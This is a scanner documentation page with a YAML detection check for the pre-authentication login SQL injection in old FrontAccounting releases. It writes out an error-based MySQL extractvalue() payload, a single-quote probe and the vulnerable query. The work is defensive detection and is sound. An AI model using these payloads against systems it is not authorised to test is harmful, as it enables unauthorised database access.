FrontAccounting — 1 vulnerability check

noctis ships 1 vulnerability check for FrontAccounting, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

FrontAccounting multiple SQL injection vulnerabilities

CVECVE-2009-4037, CVE-2009-4046
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/frontaccounting/frontaccounting-login-sqli.yaml

Tests whether a FrontAccounting web accounting installation builds SQL queries from request values without escaping them. Versions before 2.1.7 and 2.2 Beta are affected; the login form passes the submitted user name straight into the user lookup query when PHP's magic_quotes_gpc setting is off, so an unauthenticated attacker can run arbitrary SQL, and several administration pages are injectable after login. In the web root and in the /frontaccounting, /FrontAccounting and /fa directories, the feed first checks that index.php shows the FrontAccounting login form. It then submits one login whose user name closes the quoted string and adds a MySQL extractvalue() expression with two random numbers; the installation is reported when the page shows the database error carrying their product, which only the database can compute. On MySQL versions without extractvalue, a user name ending in a single quote must produce the product's database error page while the same name without the quote gives the normal failed login. Both test user names are always false, so no session is opened and nothing is written. When no directory can be proven injectable (for example with magic_quotes_gpc enabled, where the administration page injections remain), the feed reports the version shown on the login page when it is before 2.1.7 or 2.2 Beta.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/index.php with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. Checks v97 for ^proof: → finding QoD 97: FrontAccounting login SQL injection (user name, error-based)
  7. Checks v97 for ^beta-proof: → finding QoD 97: FrontAccounting login SQL injection (user name, error-based)
  8. HTTP(S) request POST {{dir}}/index.php with a crafted body
  9. HTTP(S) request POST {{dir}}/index.php with a crafted body
  10. Parses / computes the next value with a Rhai script
  11. Checks v75 for ^proof: → finding QoD 75: FrontAccounting login SQL injection (user name, syntax error)
  12. Checks v75 for ^beta-proof: → finding QoD 75: FrontAccounting login SQL injection (user name, syntax error)
  13. Parses / computes the next value with a Rhai script
  14. Checks fallback for ^beta: → finding QoD 70: FrontAccounting 2.2 Beta (multiple SQL injection vulnerabilities)
  15. … and 1 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/frontaccounting/frontaccounting-login-sqli.yaml
# FrontAccounting multiple SQL injection vulnerabilities — CVE-2009-4037, CVE-2009-4046
#
# FrontAccounting before 2.1.7 and 2.2 Beta build SQL queries from request
# values without escaping them (fixed by the 2.1.7 security release and 2.2 RC,
# October 2009). The pre-authentication one is the login: get_user_for_login()
# in admin/db/users_db.inc runs
#   SELECT * FROM users WHERE user_id = '$user_id' AND password='$password'
# with $user_id = $_POST["user_name_entry_field"] taken raw by
# includes/session.inc (upstream commit 891fe0dc, "Fixed SQL injection
# vulnerability on some mysql/php configurations": exploitable when PHP's
# magic_quotes_gpc is off). A failed query goes through display_db_error(),
# which prints "DATABASE ERROR : could not get validate user login for <user>"
# plus "error code : <n>" and "error message : <mysql_error()>" in the page.
# The other injections (CVE-2009-4046: gl/manage/*.php, includes/db/*_db.inc;
# CVE-2009-4037 items 2-7) sit behind the login and do not depend on
# magic_quotes_gpc, because session.inc strips the quotes after login.
#
# Detection, per install directory ("", /frontaccounting, /FrontAccounting, /fa):
#   1. GET <dir>/index.php: a FrontAccounting install shows its login form
#      (user_name_entry_field + company_login_name) and "Version <v>   Build".
#   2. Proof (QoD 97, CVE-2009-4037; + CVE-2009-4046 on 2.2 Beta): one login POST whose user name is
#      <rand>' AND extractvalue(1,concat(0x7e,A*B)) AND '1'='1 with random
#      operands. The server's MySQL error "XPATH syntax error: '~<A*B>'" can
#      only come from the database evaluating the injected expression (the
#      product never appears in the request). The always-false user name cannot
#      log in; nothing is written.
#   3. Proof (QoD 75, MySQL without extractvalue, e.g. 5.0): user name <rand>'
#      gives the product's "DATABASE ERROR" block with MySQL error 1064, and the
#      control user name <rand> (no quote) gives the normal failed-login reply.
#   4. Fallback (QoD 70): no proof in any directory and the login page reports
#      a vulnerable version (before 2.1.7, or 2.2 Beta — the only release
#      affected by CVE-2009-4046). Covers magic_quotes_gpc installs, whose
#      authenticated injections remain.
#
# Better than the source check: it only compares the version, and only flags
# 2.2.0 - 2.2 Beta (missing 2.1.6 and earlier, which CVE-2009-4037 covers). This
# feed proves the login injection first and flags every affected version.
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_frontaccounting_mult_sql_inj_vuln_2.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900258, GPL-2.0-only).
uid: 5162ea02-d217-4def-8dca-f02f3747ad1f
name: "FrontAccounting multiple SQL injection vulnerabilities (CVE-2009-4037, CVE-2009-4046)"
description: |
  Tests whether a FrontAccounting web accounting installation builds SQL
  queries from request values without escaping them. Versions before 2.1.7 and
  2.2 Beta are affected; the login form passes the submitted user name straight
  into the user lookup query when PHP's magic_quotes_gpc setting is off, so an
  unauthenticated attacker can run arbitrary SQL, and several administration
  pages are injectable after login. In the web root and in the
  /frontaccounting, /FrontAccounting and /fa directories, the feed first checks
  that index.php shows the FrontAccounting login form. It then submits one
  login whose user name closes the quoted string and adds a MySQL
  extractvalue() expression with two random numbers; the installation is
  reported when the page shows the database error carrying their product,
  which only the database can compute. On MySQL versions without extractvalue,
  a user name ending in a single quote must produce the product's database
  error page while the same name without the quote gives the normal failed
  login. Both test user names are always false, so no session is opened and
  nothing is written. When no directory can be proven injectable (for example
  with magic_quotes_gpc enabled, where the administration page injections
  remain), the feed reports the version shown on the login page when it is
  before 2.1.7 or 2.2 Beta.
cves: [CVE-2009-4037, CVE-2009-4046]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [frontaccounting, php, sqli, mysql, login]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4037"
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4046"
  - "http://frontaccounting.net/wb3/pages/posts/2.1.7-security-release103.php"
  - "http://frontaccounting.net/wb3/pages/posts/release-2.2-rc104.php"
  - "http://secunia.com/advisories/37327"
  - "http://www.vupen.com/english/advisories/2009/3223"
  # OpenVAS/Greenbone NASL 2009/gb_frontaccounting_mult_sql_inj_vuln_2.nasl (GPL-2.0-only)

steps:
  # Shared random values: the always-false user name prefix, the password and
  # the extractvalue() operands (the reply must carry their product).
  - id: gen
    action: script
    store_as: rv
    code: |
      let a = rand_int(1000, 9999);
      let b = rand_int(1000, 9999);
      #{ u: "noctis" + rand_hex(6), p: rand_str(12), a: a, b: b, prod: "" + (a * b) }

  - id: init-fallback
    action: set_var
    var_name: fallback
    var_value: ""

  # Loop group: every following non-loop step runs once per directory.
  # Pre-initialise each stored result so a failed request never leaves it
  # undefined or holding the previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/frontaccounting", "/FrontAccounting", "/fa"]

  - id: init-xpath
    action: set_var
    var_name: xp
    var_value: {status: 0, body: ""}

  - id: init-quote
    action: set_var
    var_name: qt
    var_value: {status: 0, body: ""}

  - id: init-control
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: login-page
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: page

  - id: fingerprint
    action: script
    store_as: fp
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      let out = #{ found: false, version: "unknown", affected: false, beta22: false };
      if page.status == 200 && ereg("name=['\"]?user_name_entry_field", b, true)
          && ereg("name=['\"]?company_login_name", b, true) && ereg("FrontAccounting", b, true) {
        out.found = true;
        let m = eregmatch("Version\\s+([0-9]+(\\.[0-9]+)*( ?[A-Za-z]+ ?[0-9]*)?)\\s+Build", b, true);
        if m.len() < 2 {
          m = eregmatch("<title>[^<]*FrontAccounting ([0-9]+(\\.[0-9]+)*( ?[A-Za-z]+ ?[0-9]*)?)\\s*(-[^<]*)?</title>", b, true);
        }
        if m.len() >= 2 {
          let v = m[1];
          v.trim();
          out.version = v;
          let n = eregmatch("^([0-9]+)(\\.([0-9]+))?(\\.([0-9]+))?\\s*([A-Za-z]*)", v);
          if n.len() >= 7 {
            let major = int(n[1]);
            let minor = if n[3] == "" { 0 } else { int(n[3]) };
            let patch = if n[5] == "" { 0 } else { int(n[5]) };
            let tag = n[6].to_lower();
            if major < 2 || (major == 2 && minor == 0) || (major == 2 && minor == 1 && patch <= 6) {
              out.affected = true;
            } else if major == 2 && minor == 2 && patch == 0 && (tag == "beta" || tag == "b") {
              out.affected = true;
              out.beta22 = true;
            }
          }
        }
      }
      out

  # Proof: extractvalue() with a computed constant. The user name is always
  # false (AND), so even a database that ignored the error could not log in.
  - id: login-xpath
    action: http_request
    condition: "fp.found == true"
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "company_login_name=0&user_name_entry_field={{rv.u}}%27+AND+extractvalue%281%2Cconcat%280x7e%2C{{rv.a}}*{{rv.b}}%29%29+AND+%271%27%3D%271&password={{rv.p}}&ui_mode=1&SubmitUser=Login"
    store_as: xp

  - id: judge-xpath
    action: script
    store_as: v97
    code: |
      let b = if type_of(xp.body) == "string" { xp.body } else { "" };
      if fp.found && ereg("XPATH syntax error: ?('|&#0?39;|&#x27;|&apos;)?~" + rv.prod + "\\b", b, true) {
        (if fp.beta22 { "beta-" } else { "" }) + "proof: POST " + dir + "/index.php (FrontAccounting " + fp.version + ") with user name " + rv.u + "' AND extractvalue(1,concat(0x7e," + rv.a + "*" + rv.b + ")) AND '1'='1 returned the MySQL error XPATH syntax error: '~" + rv.prod + "' — the database computed " + rv.a + "*" + rv.b + " from the injected login user name"
      } else {
        ""
      }

  - id: report-xpath
    action: match
    source: v97
    pattern: "^proof: "
    on_match:
      finding:
        cves: [CVE-2009-4037]
        title: "FrontAccounting login SQL injection (user name, error-based)"
        description: "The FrontAccounting login builds its user lookup query from the submitted user name without escaping it, so an unauthenticated attacker can run arbitrary SQL. Releases before 2.1.7 and 2.2 Beta are affected, and authenticated pages of the same releases are injectable too."
        confidence_delta: 0.65
        qod: 97
        evidence: "{{v97}}"
        remediation: "Upgrade FrontAccounting to 2.1.7, 2.2 RC or later (current releases escape every query value)."
      stop: true

  # Fallback proof for MySQL without extractvalue(): a lone quote must break
  # the query, while the same user name without it must not.

  - id: report-xpath-beta
    action: match
    source: v97
    pattern: "^beta-proof: "
    on_match:
      finding:
        cves: [CVE-2009-4037, CVE-2009-4046]
        title: "FrontAccounting login SQL injection (user name, error-based)"
        description: "The FrontAccounting login builds its user lookup query from the submitted user name without escaping it, so an unauthenticated attacker can run arbitrary SQL. This 2.2 Beta installation is also affected by the injections in its administration pages and database include files."
        confidence_delta: 0.65
        qod: 97
        evidence: "{{v97}}"
        remediation: "Upgrade FrontAccounting to 2.2 RC or later (current releases escape every query value)."
      stop: true

  # Fallback proof for MySQL without extractvalue(): a lone quote must break
  # the query, while the same user name without it must not.
  - id: login-quote
    action: http_request
    condition: "fp.found == true && v97 == \"\""
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "company_login_name=0&user_name_entry_field={{rv.u}}%27&password={{rv.p}}&ui_mode=1&SubmitUser=Login"
    store_as: qt

  - id: login-control
    action: http_request
    condition: "fp.found == true && v97 == \"\" && qt.status != 0"
    method: POST
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "company_login_name=0&user_name_entry_field={{rv.u}}&password={{rv.p}}&ui_mode=1&SubmitUser=Login"
    store_as: ctl

  - id: judge-quote
    action: script
    store_as: v75
    code: |
      let qb = if type_of(qt.body) == "string" { qt.body } else { "" };
      let cb = if type_of(ctl.body) == "string" { ctl.body } else { "" };
      let broke = ereg("DATABASE ERROR", qb) && ereg("could not get validate user login", qb, true)
        && (ereg("error code : 1064", qb) || ereg("You have an error in your SQL syntax", qb, true));
      let clean = ctl.status != 0 && !ereg("DATABASE ERROR", cb) && !ereg("SQL syntax", cb, true)
        && (ctl.status == 401 || ereg("Incorrect Password", cb, true));
      if fp.found && v97 == "" && broke && clean {
        (if fp.beta22 { "beta-" } else { "" }) + "proof: POST " + dir + "/index.php (FrontAccounting " + fp.version + ") with user name " + rv.u + "' returned the login query's DATABASE ERROR block with a MySQL syntax error (1064), while the same user name without the quote gave the normal failed login (HTTP " + ctl.status + ")"
      } else {
        ""
      }

  - id: report-quote
    action: match
    source: v75
    pattern: "^proof: "
    on_match:
      finding:
        cves: [CVE-2009-4037]
        title: "FrontAccounting login SQL injection (user name, syntax error)"
        description: "The FrontAccounting login builds its user lookup query from the submitted user name without escaping it, so an unauthenticated attacker can run arbitrary SQL. Releases before 2.1.7 and 2.2 Beta are affected, and authenticated pages of the same releases are injectable too."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{v75}}"
        remediation: "Upgrade FrontAccounting to 2.1.7, 2.2 RC or later (current releases escape every query value)."
      stop: true

  # Remember the first directory with an affected version; reported only after
  # every directory was tried for a proof.

  - id: report-quote-beta
    action: match
    source: v75
    pattern: "^beta-proof: "
    on_match:
      finding:
        cves: [CVE-2009-4037, CVE-2009-4046]
        title: "FrontAccounting login SQL injection (user name, syntax error)"
        description: "The FrontAccounting login builds its user lookup query from the submitted user name without escaping it, so an unauthenticated attacker can run arbitrary SQL. This 2.2 Beta installation is also affected by the injections in its administration pages and database include files."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{v75}}"
        remediation: "Upgrade FrontAccounting to 2.2 RC or later (current releases escape every query value)."
      stop: true

  # Remember the first directory with an affected version; reported only after
  # every directory was tried for a proof.
  - id: collect-fallback
    action: script
    store_as: fallback
    code: |
      if fallback == "" && fp.found && fp.affected {
        let tag = if fp.beta22 { "beta: " } else { "old: " };
        tag + dir + "/index.php shows the FrontAccounting " + fp.version + " login page (affected: before 2.1.7, 2.2 Beta); the login user name could not be proven injectable (magic_quotes_gpc on or database errors hidden), the authenticated injections are not tested"
      } else {
        fallback
      }

  # Second group, runs once after every directory was tried.
  - id: after-proof
    action: set_var
    var_name: fallback_done
    var_value: true
    loop:
      over: ["once"]
      var: phase

  - id: report-version-beta
    action: match
    source: fallback
    pattern: "^beta: "
    on_match:
      finding:
        cves: [CVE-2009-4037, CVE-2009-4046]
        title: "FrontAccounting 2.2 Beta (multiple SQL injection vulnerabilities)"
        description: "FrontAccounting 2.2 Beta builds SQL queries in its login and in several administration pages and database include files from request values without escaping them. The version was read from the login page; the injection itself was not proven."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{fallback}}"
        remediation: "Upgrade FrontAccounting to 2.2 RC or later (current releases escape every query value)."
      stop: true

  - id: report-version-old
    action: match
    source: fallback
    pattern: "^old: "
    on_match:
      finding:
        cves: [CVE-2009-4037]
        title: "FrontAccounting before 2.1.7 (multiple SQL injection vulnerabilities)"
        description: "FrontAccounting releases before 2.1.7 build SQL queries in their login and in several administration pages from request values without escaping them. The version was read from the login page; the injection itself was not proven."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{fallback}}"
        remediation: "Upgrade FrontAccounting to 2.1.7 or later (current releases escape every query value)."
      stop: true

View these feeds on GitHub